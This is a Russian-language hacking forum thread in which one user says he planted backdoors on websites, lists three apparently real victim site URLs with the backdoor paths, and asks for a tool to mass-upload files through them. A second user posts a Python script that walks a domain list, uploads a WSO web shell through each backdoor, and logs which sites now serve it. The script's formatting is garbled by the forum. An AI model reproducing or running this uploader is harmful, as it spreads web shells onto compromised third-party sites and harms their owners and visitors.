Требуется Помощь по Автозаливщику

Discussion in 'PHP' started by SuNDowN, 11 Apr 2015.

  1. SuNDowN

    SuNDowN Member

    Joined:
    31 Mar 2008
    Messages:
    25
    Likes Received:
    73
    Reputations:
    -8
    Привет Всем! Сильно не пинать если запостил не в тот раздел. Сразу к делу... Некоторое время назад назаливал бэкдоров на ресы где часто тёрли wso'шный шелл. Теперь собрался не плохой список бэкдоров где не осталось: ни wso, ни уязвимости. А остались такого рода бэкдорчики:
    http://10acresflat.com/wp-content/plugins/iwp-client/class.php
    http://activewindowcleaners.com.au/wp-content/plugins/iwp-client/class.php
    http://www.affordableca.com/wp-content/plugins/iwp-client/class.php

    Теперя же кто поможет составить запрос я предполагаю на cURL'е который бы брал из списка домены с путём до бэкдора и заливал туда указанный рядом файл. За помощь буду ооочень признателен!!!

    P.S.: ну не ручками же заливать, ладно бы там десяток был, а тут...
     
  2. waploganet

    waploganet Banned

    Joined:
    14 Feb 2012
    Messages:
    0
    Likes Received:
    3
    Reputations:
    5
    SuNDowN likes this.
  3. SuNDowN

    SuNDowN Member

    Joined:
    31 Mar 2008
    Messages:
    25
    Likes Received:
    73
    Reputations:
    -8
    Да если не сложно будь добр скинь, с питоном работать умею.
     
  4. waploganet

    waploganet Banned

    Joined:
    14 Feb 2012
    Messages:
    0
    Likes Received:
    3
    Reputations:
    5
    PHP:
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    from grab import Grab
    Grab()

    with open("url_source.txt","r") as f#список url без http://www.
        
    for line in f:
            
    url=line.replace('\n''')


        
    from grab import UploadFile
        g
    .go("http://www.%s" %url
        
    g.doc.set_input('название_формы'UploadFile('wsoshell.php')) #файл шелла должен лежать в папке со скриптом, название формы замени на свое ("f")
        
    g.doc.submit()
        print 
    'Вроде залили...'

        
    g.go("http://%s/wsoshell.php" %url#Проверка шелла на сервере
        
    otvet g.response.code
        
    if otvet == 200:
            
    file open("good.txt""a")
            
    file.write('%s\n' %url)
            print 
    'Залито! URL:',url
            
    print

        else:
            print 
    'Не получилось'
            
    file open("404.txt""a")
            
    file.write('%s\n' %url)
            print 
    url
    Если что пиши, код не проверял, должен работать, вроде ничего не упустил
    Модули pycurl и lxml для grab можно установить через easy_install
     
    SuNDowN likes this.
  5. SuNDowN

    SuNDowN Member

    Joined:
    31 Mar 2008
    Messages:
    25
    Likes Received:
    73
    Reputations:
    -8
    Дружище будь добр проверь скрипт у себя, настроил скрипт под себя, установил все модули, но всё равно вылазиет вот такая хрень:
    2015-04-13_14h33_16.jpg